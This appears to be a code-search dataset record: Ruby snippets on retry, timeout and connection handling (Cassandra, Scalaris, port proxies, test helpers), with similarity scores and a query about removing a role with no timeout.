#{e}\"\n end", "def max_retry\n 5\n end", "def retry(timeout_or_schedule)\n @commands_and_opts.push \"#{OPTIONAL_OPTS[:retry]}=#{timeout_or_schedule}\"\n self\n end", "def retry_on_connection_error\n @retry_on_failure = true\n begin\n handle_thrift_exceptions_with_missing_message { yield }\n rescue Thrift::TransportException, IOError, Thrift::ApplicationException, Thrift::ProtocolException => err\n if @retry_on_failure\n @retry_on_failure = false\n @connection.close\n @connection.open\n retry\n else\n raise err\n end\n end\n end", "def wait(time, increment = 1, elapsed_time = 0, &block)\n begin\n yield\n rescue Exception => e\n if elapsed_time >= time\n raise e\n else\n sleep increment\n wait(time, increment, elapsed_time + increment, &block)\n end\n end\nend", "def patiently(seconds=Capybara.default_max_wait_time, &block)\n #puts \"Tried waiting\"\n old_wait_time = Capybara.default_max_wait_time\n # dont make nested wait_untils use up all the alloted time\n Capybara.default_max_wait_time = 0 # for we are a jealous gem\n if page.driver.wait?\n start_time = Time.now\n begin\n block.call\n rescue Exception => e\n raise e unless RETRY_ERRORS.include?(e.class.name)\n puts \"Failed: #{e.message}\" if SimpliTest.mode == 'DEBUG'\n wait_time = SimpliTest.config_settings ? SimpliTest.config_settings['MAX_WAIT_TIME'] : 5\n raise e if (Time.now - start_time) >= wait_time\n sleep(0.1)\n raise Capybara::FrozenInTime, \"time appears to be frozen, Capybara does not work with libraries which freeze time, consider using time travelling instead\" if Time.now == start_time\n puts \"Retrying...\" if SimpliTest.mode == 'DEBUG'\n retry\n end\n else\n block.call\n end\n ensure\n Capybara.default_max_wait_time = old_wait_time\n end", "def keep_trying_to(title)\n begin\n yield\n rescue Exception => e\n log \"failed to #{title} -- retry in #{RETRY_WAIT} seconds\"\n log e.message\n log e.backtrace\n sleep RETRY_WAIT\n retry\n end\n end", "def timeout_wrap(&block)\n ::Timeout.timeout(timeout, &block)\n rescue ::Timeout::Error\n failure(:RPC_FAILED, \"The server took longer than #{timeout} seconds to respond\")\n end", "def retryable(retries, delay)\n yield\n rescue *RESCUE_EXCEPTIONS_ON_ESTABLISH.call => e\n if (retries -= 1) > 0\n service.logger.info(\"[WinRM] connection failed. retrying in #{delay} seconds: #{e.inspect}\")\n sleep(delay)\n retry\n else\n service.logger.warn(\"[WinRM] connection failed, terminating (#{e.inspect})\")\n raise\n end\n end", "def execute_with_retry(command, retryable_exit_codes = [], max_retries = 1, wait_time = 30)\n tries = 0\n begin\n tries += 1\n debug(\"Attempting to execute command - try #{tries} of #{max_retries}.\")\n execute(command)\n rescue Kitchen::Transport::TransportFailed => e\n if retry?(tries, max_retries, retryable_exit_codes, e.exit_code)\n close\n sleep wait_time\n retry\n else\n raise e\n end\n end\n end", "def calculate_retry_after(env); end", "def processing_error_task\n reset_undefined_retries!\n if @retries > 0\n @retries -= 1\n Astute.logger.debug \"Puppet on node will be \"\\\n \"restarted because of fail. #{@retries} retries remained.\"\\\n \"#{task_details_for_log}\"\n Astute.logger.info \"Retrying to run puppet for following error \"\\\n \"nodes: #{@puppet_mclient.node_id}\"\n puppetd_run\n 'running'\n else\n Astute.logger.error \"Node has failed to deploy. There is\"\\\n \" no more retries for puppet run. #{task_details_for_log}\"\n 'failed'\n end\n end", "def test_no_request_retry_when_timeout_between_varnish_and_nginx_timeout\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-between-varnish-timeout\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n response = Typhoeus.get(\"http://127.0.0.1:9080/api/between-varnish-timeout\", http_options)\n assert_response_code(504, response)\n\n # Ensure that the backend has only been called once.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-between-varnish-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-between-varnish-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n end", "def fail!(discriminator, bantime, findtime, maxretry); end", "def retry\n super\n end", "def retry_later\n IngestWorkflowMonitorJob.set(wait: 15.minutes).perform_later(flow.id, @params)\n end", "def rescue_connection_failure(max_retries=60)\n retries = 0\n begin\n yield\n rescue Mongo::ConnectionFailure => ex\n puts ex\n retries += 1\n raise ex if retries > max_retries\n sleep(0.5)\n retry\n end\nend", "def expect_with_retry sample_name, attempts: 5\n @attempt_number ||= 0\n yield\n @attempt_number = nil\n rescue Minitest::Assertion => e\n @attempt_number += 1\n puts \"failed attempt #{@attempt_number} for #{sample_name}\"\n sleep @attempt_number*@attempt_number\n retry if @attempt_number < attempts\n @attempt_number = nil\n raise e\n end", "def retry_method(method, options = {})\n define_method method do |*args, &block|\n super_method = method(:super)\n retry_block options do\n super_method(*args, &block)\n end\n end\n end", "def make_request_with_retries(connection, uri, http_request)\n disable_net_http_persistent_retries(connection)\n # Initialize retry vars:\n connection_retry_count = @data[:options][:connection_retry_count] || 3\n connection_retry_delay = @data[:options][:connection_retry_delay] || 0.5\n retries_performed = 0\n # If block is given - pass there all the chunks of a response and then stop\n # (don't do any parsing, analysis, etc)\n block = @data[:vars][:system][:block]\n begin\n if block\n # Response.body is a Net::ReadAdapter instance - it can't be read as a string.\n # WEB: On its own, Net::HTTP causes response.body to be a Net::ReadAdapter when you make a request with a block\n # that calls read_body on the response.\n connection.request(uri, http_request) do |response|\n # If we are at the point when we have started reading from the remote end\n # then there is no low level retry is allowed. Otherwise we would need to reset the\n # IO pointer, etc.\n connection_retry_count = 0\n if response.is_a?(Net::HTTPSuccess)\n set_http_response(response, :skip_body)\n response.read_body(&block)\n else\n set_http_response(response)\n end\n end\n else\n # Set text response\n response = connection.request(uri, http_request)\n set_http_response(response)\n end\n nil\n rescue => e\n # Parse both error message and error classname; for some errors it's not enough to parse only a message\n custom_error_msg = \"#{e.class.name}: #{e.message}\"\n # Initialize new error with full message including class name, so gw can catch it now\n custom_error = Error.new(custom_error_msg)\n # Fail if it is an unknown error\n fail(custom_error) if !(custom_error_msg[TIMEOUT_ERRORS] || custom_error_msg[OTHER_ERRORS])\n # Fail if it is a Timeout and timeouts are banned\n fail(custom_error) if custom_error_msg[TIMEOUT_ERRORS] && !!@data[:options][:abort_on_timeout]\n # Fail if there are no retries left...\n fail(custom_error) if (connection_retry_count -= 1) < 0\n # ... otherwise sleep a bit and retry.\n retries_performed += 1\n log(\"#{self.class.name}: Performing retry ##{retries_performed} caused by: #{e.class.name}: #{e.message}\")\n sleep(connection_retry_delay) unless connection_retry_delay._blank?\n connection_retry_delay *= 2\n retry\n end\n end", "def err_timeout(timeout, name, action) \n logger.info \"About to do \" + name\n Timeout::timeout(5) do\n begin\n action.call\n rescue => e\n logger.error \"Got error: #{e.message}\"\n end\n end\nend", "def retry_item(item)\n @queue.retry_item(item)\n raise Timberline::ItemRetried\n end", "def retry_handler\n @retry_handler ||= Proc.new do |exception, attempt_number, total_delay|\n log(\"#{exception.class.name}: #{exception.message}; attempt: #{attempt_number}; offset: #{offset}\", :warn)\n end\n end", "def start(max_retry = 3, retry_wait = 30)\n @client_th = Thread.current # caller thread\n if alive?\n #sleep retry_wait\n return nil\n end\n\n @main_th = Thread.new do\n begin\n Thread.stop\n ensure\n yield(self) if block_given?\n \n @read_th.raise(Closed) if @read_th.status\n close(true)\n @client_th.raise(Closed)\n end\n end\n\n begin\n open_conn\n rescue SystemCallError\n max_retry -= 1\n if max_retry == 0\n @main_th.kill\n raise\n end\n sleep retry_wait\n retry\n rescue Exception\n @main_th.kill\n raise\n else\n @main_th.join\n end\n\n end", "def with_connection_auto_retry\n with_connection do |connection|\n begin\n yield connection\n rescue Exception => e\n if e.kind_of?(Timeout::Error) || e.kind_of?(@timeout_class) || e.message =~ /expired/\n remove(connection)\n raise\n end\n connection = renew(connection)\n begin\n yield connection\n rescue Exception => e\n remove(connection)\n raise\n end\n end\n end\n end", "def test_no_request_retry_get\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n response = Typhoeus.get(\"http://127.0.0.1:9080/api/timeout\", http_options)\n assert_response_code(504, response)\n\n # Ensure that the backend has only been called once.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n end", "def sample()\n begin\n puts \"do something\"\n rescue # can define type of error here if wanted\n puts \"we hit an error!\"\n retry # this will restart from the beginning of the begin body\n else\n puts \"else hit\"\n ensure\n puts \"ensure this please\"\n end\nend", "def lock_timeout_retries=(_arg0); end", "def lock_timeout_retries; end", "def retro(tries, *args)\n tries = tries.to_i\n return false if tries == 0 || ! block_given?\n yield(*args)\n return true\n rescue Exception\n sleep(1)\n if (tries = tries - 1) > 0\n retry\n else\n return false\n end\n end", "def retry_with_backoff(retries_remaining, &block)\n result, caught_exception = nil\n should_retry = false\n\n begin\n result, should_retry = yield\n return [result, nil] unless should_retry\n rescue StandardError => e\n p e\n should_retry = true\n caught_exception = e\n end\n\n if should_retry && (retries_remaining > 1)\n sleep(@backoff_policy.next_interval.to_f / 1000)\n retry_with_backoff(retries_remaining - 1, &block)\n else\n [result, caught_exception]\n end\n end" ]
[ "0.7141372", "0.7072266", "0.61995095", "0.61632055", "0.5999939", "0.5973251", "0.5835871", "0.5751888", "0.5729174", "0.56570053", "0.56415325", "0.55510527", "0.54901165", "0.54878", "0.5485897", "0.5440209", "0.54388845", "0.5421436", "0.53913474", "0.5365222", "0.5322838", "0.5316709", "0.5304072", "0.5245663", "0.5243432", "0.5240004", "0.5235369", "0.51961404", "0.5179093", "0.5168996", "0.51636", "0.51579356", "0.515338", "0.51459813", "0.5091265", "0.50382566", "0.50311756", "0.49905553", "0.49817747", "0.4953578", "0.49475697", "0.49313053", "0.4924994", "0.49210808", "0.49126336", "0.49116233", "0.490585", "0.49014583", "0.4899189", "0.48975182", "0.4873083", "0.4850574", "0.48454753", "0.48097837", "0.480906", "0.48056012", "0.48011512", "0.479884", "0.47897464", "0.47889757", "0.4785042", "0.47784823", "0.47713456", "0.47689053", "0.47644874", "0.47613287", "0.47596198", "0.4756203", "0.47537476", "0.47515962", "0.47377184", "0.4736641", "0.47341198", "0.4725026", "0.47219765", "0.47061938", "0.468156", "0.4671038", "0.46680087", "0.46595848", "0.4653725", "0.46459886", "0.4645321", "0.46375674", "0.4624432", "0.46223053", "0.4613372", "0.45742166", "0.4570991", "0.45661634", "0.45628476", "0.45627797", "0.45518473", "0.45487043", "0.45420414", "0.45380905", "0.45314875", "0.45258972", "0.45149627", "0.45093593" ]
0.7846086
0
CGB removed timeout here removing cassandra slave requires it to port the data it owns to somebody else, which takes ~30 seconds in the trivial case
def remove_role(role) make_call(NO_TIMEOUT, RETRY_ON_FAIL, "remove_role") { @conn.remove_role(role, @secret) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_zzz_shooting_the_other_slave_in_the_head\n $mysql_slave.set_rw(true)\n\n $mysql_slave_2.kill!\n $mysql_slave_2 = nil\n\n UserSlave.connection.reconnect!\n assert port_for_class(UserSlave) == $mysql_slave.port\n end", "def test_AutoDeleteConnection\n Orocos.run \"port_proxy::Task\" => \"port_proxy\" ,:output => \"%m.log\" do \n task = Orocos::TaskContext.get \"port_proxy\"\n task.timeout = 1.0\n connection = Types::PortProxy::ProxyConnection.new\n connection.task_name = \"test_task\"\n connection.port_name = \"test_port\"\n connection.type_name = \"/base/Time\"\n connection.periodicity = 0.1\n connection.check_periodicity = 1\n task.start\n assert(task.createProxyConnection(connection))\n assert(task.has_port? \"in_test_task_test_port\")\n assert(task.has_port? \"out_test_task_test_port\")\n reader = task.out_test_task_test_port.reader\n writer = task.in_test_task_test_port.writer\n assert(task.isConnected(\"test_task\",\"test_port\"))\n writer.write Time.now \n sleep(0.2)\n assert(reader.read)\n task.out_test_task_test_port.disconnect_all\n sleep(1.1)\n assert(!task.isConnected(\"test_task\",\"test_port\"))\n assert(!task.has_port?(\"in_test_task_test_port\"))\n assert(!task.has_port?(\"out_test_task_test_port\"))\n end\n end", "def connect_timeout; end", "def connect_timeout; end", "def testDelete2()\n key = \"_Delete2\"\n c = Scalaris::JSONConnection.new(url = Scalaris::DEFAULT_URL)\n rdht = Scalaris::ReplicatedDHT.new(conn = c)\n sc = Scalaris::TransactionSingleOp.new(conn = c)\n rt = Scalaris::RoutingTable.new\n r = rt.get_replication_factor\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(r, ok)\n results = rdht.get_last_delete_result()\n assert_equal(r, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(r, ok)\n results = rdht.get_last_delete_result()\n assert_equal(r, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n \n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(r, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n c.close()\n end", "def write_timeout; end", "def write_timeout; end", "def write_timeout; end", "def persistent_timeout(seconds); end", "def statement_timeout; end", "def slaveof(host, port); end", "def without_reconnect(&block); end", "def connect_timeout=(_arg0); end", "def tcp_timeout\n super\n end", "def testDelete1()\n key = \"_Delete1\"\n c = Scalaris::JSONConnection.new(url = Scalaris::DEFAULT_URL)\n rdht = Scalaris::ReplicatedDHT.new(conn = c)\n sc = Scalaris::TransactionSingleOp.new(conn = c)\n rt = Scalaris::RoutingTable.new\n r = rt.get_replication_factor\n \n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(r, ok)\n results = rdht.get_last_delete_result()\n assert_equal(r, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n \n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(r, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n c.close()\n end", "def worker_shutdown_timeout(timeout); end", "def lock_timeout; end", "def cassandra_running(seconds=120)\n begin\n Timeout::timeout(seconds) do\n running = false\n while !running do\n cmd = \"service cassandra status 2>&1\"\n Chef::Log.info(cmd)\n result = `#{cmd}`\n if $? == 0\n running = true\n break\n end\n sleep 5\n end\n return running\n end\n rescue Timeout::Error \n return false\n end\n end", "def test_replicated_dht1()\n rdht = Scalaroid::ReplicatedDHT.new()\n rdht.close_connection()\n end", "def wait_writable_or_timeout; end", "def statement_timeout=(_arg0); end", "def first_data_timeout(seconds); end", "def def_write_timeout\n 10\n end", "def udp_timeout\n super\n end", "def queue(&callback)\n callback.call(cassandra_proxy)\n end", "def worker_timeout(timeout); end", "def timeout; end", "def timeout; end", "def timeout; end", "def test_AutoReconnect\n Orocos.run \"port_proxy::Task\" => \"port_proxy\",:output => \"%m.log\" do \n #setup port porxy \n task = Orocos::TaskContext.get \"port_proxy\"\n connection = Types::PortProxy::ProxyConnection.new\n connection.task_name = \"test_task\"\n connection.port_name = \"out_dummy_port\"\n connection.type_name = \"/base/Time\"\n connection.periodicity = 0.1\n connection.check_periodicity = 0.2\n task.start\n assert(task.createProxyConnection(connection))\n assert(task.has_port? \"in_test_task_out_dummy_port\")\n assert(task.has_port? \"out_test_task_out_dummy_port\")\n\n reader = task.out_test_task_out_dummy_port.reader\n assert(!reader.read)\n\n Orocos.run \"port_proxy::Task\" => \"test_task\",:output => \"%m2.log\" do \n #setup source\n connection.task_name = \"dummy\"\n connection.port_name = \"port\"\n connection.type_name = \"/base/Time\"\n connection.periodicity = 0.1\n connection.check_periodicity = 1\n task2 = Orocos::TaskContext.get \"test_task\"\n task2.start\n #make sure that the port proxy is discovering the right task but no port\n sleep(0.5) \n assert(task2.createProxyConnection(connection))\n assert(task2.has_port? \"out_dummy_port\")\n assert(task2.has_port? \"in_dummy_port\")\n\n #check connection\n sleep(0.5)\n assert(task.isConnected(\"test_task\",\"out_dummy_port\"))\n writer = task2.in_dummy_port.writer\n writer.write Time.now \n sleep(0.3)\n assert(reader.read)\n end\n #now the source is killed \n assert(reader.connected?)\n assert(!task.isConnected(\"test_task\",\"out_dummy_port\"))\n\n #check if the port proxy can recover after the task is reachable again\n Orocos.run \"port_proxy::Task\" => \"test_task\",:output => \"%m3.log\" do \n task2 = Orocos::TaskContext.get \"test_task\"\n task2.start\n assert(task2.createProxyConnection(connection))\n assert(task2.has_port? \"out_dummy_port\")\n assert(task2.has_port? \"in_dummy_port\")\n\n #check connection\n sleep(0.5)\n assert(task.isConnected(\"test_task\",\"out_dummy_port\"))\n reader.read\n writer = task2.in_dummy_port.writer\n time = Time.now\n writer.write time\n sleep(0.3)\n assert_equal(time,reader.read)\n end\n assert(reader.connected?)\n assert(!task.isConnected(\"test_task\",\"out_dummy_port\"))\n end\n end", "def cassandra_running(seconds=120)\n begin\n Timeout::timeout(seconds) do\n running = false\n while !running do\n cmd = \"service cassandra status 2>&1\"\n Chef::Log.info(cmd)\n result = `#{cmd}`\n if $? == 0\n running = true\n break\n end\n sleep 5\n end\n return running\n end\n rescue Timeout::Error\n return false\n end\n end", "def shutdown_after(timeout); end", "def write_timeout=(_arg0); end", "def write_timeout=(_arg0); end", "def ignore_disconnect; end", "def test_replicated_dht2()\n rdht = Scalaroid::ReplicatedDHT.new(conn = Scalaroid::JSONConnection.new(url = Scalaroid::DEFAULT_URL))\n rdht.close_connection()\n end", "def client_close_timeout\n super\n end", "def set_speedy_connection_timeouts!\n allow_any_instance_of(Nsq::Connection).to receive(:snooze).and_return(nil)\n end", "def read_timeout; end", "def read_timeout; end", "def read_timeout; end", "def read_timeout; end", "def read_timeout; end", "def read_timeout; end", "def read_timeout; end", "def read_timeout; end", "def read_timeout=(sec); end", "def testDelete2()\n key = \"_Delete2\"\n c = Scalaris::JSONConnection.new(url = Scalaris::DEFAULT_URL)\n rdht = Scalaris::ReplicatedDHT.new(conn = c)\n sc = Scalaris::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n \n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n c.close()\n end", "def test_writers_should_not_share_a_connection_with_replicas\n refute_equal(\n (AbstractPool1DbA.connected_to(role: :writing) { Pool1DbA.connection.raw_connection }),\n (AbstractPool1DbA.connected_to(role: :reading) { Pool1DbA.connection.raw_connection })\n )\n end", "def read_timeout=(read_timeout); end", "def test_should_not_crash_selects_in_the_double_read_only_window\n ActiveRecord::Base.connection\n $mysql_master.set_rw(false)\n $mysql_slave.set_rw(false)\n assert_equal $mysql_master, master_connection\n 100.times do\n User.first\n end\n end", "def server_close_timeout\n super\n end", "def attempt_reconnect\n #The reconnect method called below is provided by EventMachine\n reconnect HOST, PORT\n end", "def with_force_shutdown; end", "def lock_timeout_retry_delay; end", "def error_timeout; end", "def test_delete2()\n key = \"_Delete2\"\n c = Scalaroid::JSONConnection.new(url = Scalaroid::DEFAULT_URL)\n rdht = Scalaroid::ReplicatedDHT.new(conn = c)\n sc = Scalaroid::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n\n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n\n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n\n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n\n c.close()\n end", "def lock_timeout_retries; end", "def daemonization_timed_out\n end", "def timeout!; end", "def setup_cassandra\n puts \"SETTING UP CASSANDRA...\"\n\n client = cassandra_client\n\n # Don't drop and recreate the keyspace as that might disrupt (debug) clients\n # client.execute('DROP KEYSPACE IF EXISTS measurements')\n puts \"> CREATING KEYSPACE\"\n begin\n client.use('measurements')\n rescue Cql::QueryError => e\n keyspace_definition = <<-KSDEF\n CREATE KEYSPACE measurements\n WITH replication = {\n 'class': 'SimpleStrategy',\n 'replication_factor': 1\n }\n KSDEF\n client.execute(keyspace_definition)\n client.use('measurements')\n rescue => e\n raise e\n ensure\n\n puts \"> DROPPING TABLES\"\n\n tables = [\n \"InstantaneousPlugLoads\",\n \"AveragePlugLoads\",\n \"AverageHouseLoads\",\n \"Globals\",\n \"Metrics\"\n ]\n\n tables.each do |table|\n begin\n client.execute(\"DROP TABLE IF EXISTS #{table}\")\n rescue Cql::QueryError => e\n # nop\n end\n end\n\n #\n # TABLES\n #\n\n puts \"> CREATING TABLES\"\n\n # slice_index is a convenience. It could be determined by timestamp.\n table_definition = <<-TABLEDEF\n CREATE TABLE InstantaneousPlugLoads (\n plug_id BIGINT,\n house_id BIGINT,\n household_id BIGINT,\n timestamp BIGINT,\n slice_index INT,\n load DOUBLE,\n PRIMARY KEY (house_id, household_id, plug_id, timestamp)\n )\n TABLEDEF\n client.execute(table_definition)\n # client.add(table_definition)\n\n table_definition = <<-TABLEDEF\n CREATE TABLE AveragePlugLoads (\n plug_id BIGINT,\n house_id BIGINT,\n household_id BIGINT,\n slice_index INT,\n load DOUBLE,\n predicted BOOLEAN,\n PRIMARY KEY (house_id, household_id, plug_id, slice_index)\n )\n TABLEDEF\n client.execute(table_definition)\n # client.add(table_definition)\n\n table_definition = <<-TABLEDEF\n CREATE TABLE AverageHouseLoads (\n house_id BIGINT,\n slice_index INT,\n load DOUBLE,\n predicted BOOLEAN,\n PRIMARY KEY (house_id, slice_index)\n )\n TABLEDEF\n client.execute(table_definition)\n\n table_definition = <<-TABLEDEF\n CREATE TABLE Globals (\n name VARCHAR,\n value VARCHAR,\n PRIMARY KEY (name)\n )\n TABLEDEF\n client.execute(table_definition)\n # client.add(table_definition)\n\n table_definition = <<-TABLEDEF\n CREATE TABLE Metrics (\n name VARCHAR,\n when TIMESTAMP,\n value VARCHAR,\n PRIMARY KEY (name, when)\n )\n TABLEDEF\n client.execute(table_definition)\n\n #\n # INDEXES\n #\n\n puts \"> CREATING INDEXES\"\n\n index_definition = <<-INDEXDEF\n CREATE INDEX InstantaneousPlugLoadsSliceIndex ON\n InstantaneousPlugLoads\n (slice_index)\n INDEXDEF\n client.execute(index_definition)\n\n index_definition = <<-INDEXDEF\n CREATE INDEX AveragePlugLoadsPredictedIndex ON\n AveragePlugLoads\n (predicted)\n INDEXDEF\n client.execute(index_definition)\n\n index_definition = <<-INDEXDEF\n CREATE INDEX AveragePlugLoadsSliceIndex ON\n AveragePlugLoads\n (slice_index)\n INDEXDEF\n client.execute(index_definition)\n\n index_definition = <<-INDEXDEF\n CREATE INDEX AverageHouseLoadsPredictedIndex ON\n AverageHouseLoads\n (predicted)\n INDEXDEF\n client.execute(index_definition)\n end\n client\n end", "def test_read_against_timeout_with_other_thread\n thread = Thread.new do\n sleep 0.1 while true\n end\n\n listen do |_|\n hiredis.connect(\"localhost\", DEFAULT_PORT)\n hiredis.timeout = 10_000\n\n assert_raises Errno::EAGAIN do\n hiredis.read\n end\n end\n ensure\n thread.kill\n end", "def write_timeout\n @lock.write_timeout\n end", "def create_timed_delete(timeout, port_entry)\n mtimer = EM.add_timer(timeout.to_i) do\n time_left = port_entry.lifetime_left\n if time_left > 0\n #puts \"object has #{time_left} seconds left, #{Time.now}\"\n create_timed_delete(time_left, port_entry)\n else\n #puts \"timed delete writer #{Time.now}\"\n @portentries.delete(@portentries.key(port_entry))\n end\n end\n port_entry.timer = mtimer\n end", "def shutdown(timeout = T.unsafe(nil)); end", "def worker_boot_timeout(timeout); end", "def write_timeout= sec\n @lock.write_timeout = sec\n end", "def connect_cassandra\n @client = Cql::Client.connect(hosts: ['localhost'])\n @client.use('oink')\nend", "def handle_error action, e\n warn \"#{action} failed: #{e} #{e.backtrace.join(\"\\t\")}\" ;\n @cassandra_db = nil\n sleep 0.2\n end", "def tor_exit_node?; end", "def tor_exit_node?; end", "def lock_timeout_limit=(_arg0); end", "def run_job(job, node)\r\n\t\t\treturn if @shutdown\r\n\t\t\tretries = 0\r\n\t\t\r\n\t\t\tbegin\r\n\t\t\t\treturn if @shutdown\r\n\t\t\t\tklass = job.class_name.constantize\r\n\t\t\t\traise NoClassError.new(\"Job cannot find class #{job.inspect}.\") if klass.to_s.empty?\r\n\t\t\t\t\r\n\t\t\t\tjob_args = YAML::load(job.yaml_args)\r\n\t\t\t\tmethod, url_args = klass.get_url(job_args)\r\n\t\t\t\t\r\n\t\t\t\t# If a hash is passed as the 2nd argument, it's a request that pulls armory data\r\n\t\t\t\tdoc, raw_xml = SystemTimer.timeout(LOCAL_TIMEOUT.to_i) do\r\n\t\t\t\t\tdoc, raw_xml = node.pull_data(job, job_args, url_args)\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif doc.blank? || raw_xml.blank?\r\n\t\t\t\t\tjob.unlock\r\n\t\t\t\t\treturn nil\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tklass.send(method, job_args, doc, raw_xml)\r\n\t\t\t\tRails.cache.delete(\"lock/#{job.id}\")\r\n\t\t\t\t\r\n\t\t\t\tif Rails.cache.read(\"maint/#{job.region}\")\r\n\t\t\t\t\ttotal = Rails.cache.read(\"maint/#{job.region}\") - 1\r\n\t\t\t\t\tRails.cache.write(\"maint/#{job.region}\", total, :expires_in => 15.minutes)\r\n\t\t\t\t\tif total <= 0\r\n\t\t\t\t\t\tRails.cache.delete(\"maint/#{job.region}\")\r\n\t\t\t\t\t\tRails.cache.delete(\"maint/checks\")\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\tjob.delete\r\n\t\t\t\treturn true\r\n\t\t\t# Shouldn't happen\r\n\t\t\trescue Errno::ECONNRESET => e\r\n\t\t\t\tsay \"#{self.name}: Connection reset by peer\"\r\n\t\t\t\tjob.unlock\r\n\t\t\t# These are bad, it means something is wrong with a node\r\n\t\t\trescue Timeout::Error, SocketError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, Errno::EHOSTUNREACH, Errno::ENETUNREACH => e\r\n\t\t\t\tsay \"#{self.name}: Timeout error #{e.message}\"\r\n\r\n\t\t\t\t# Not as accurate as increment, but increment isn't working 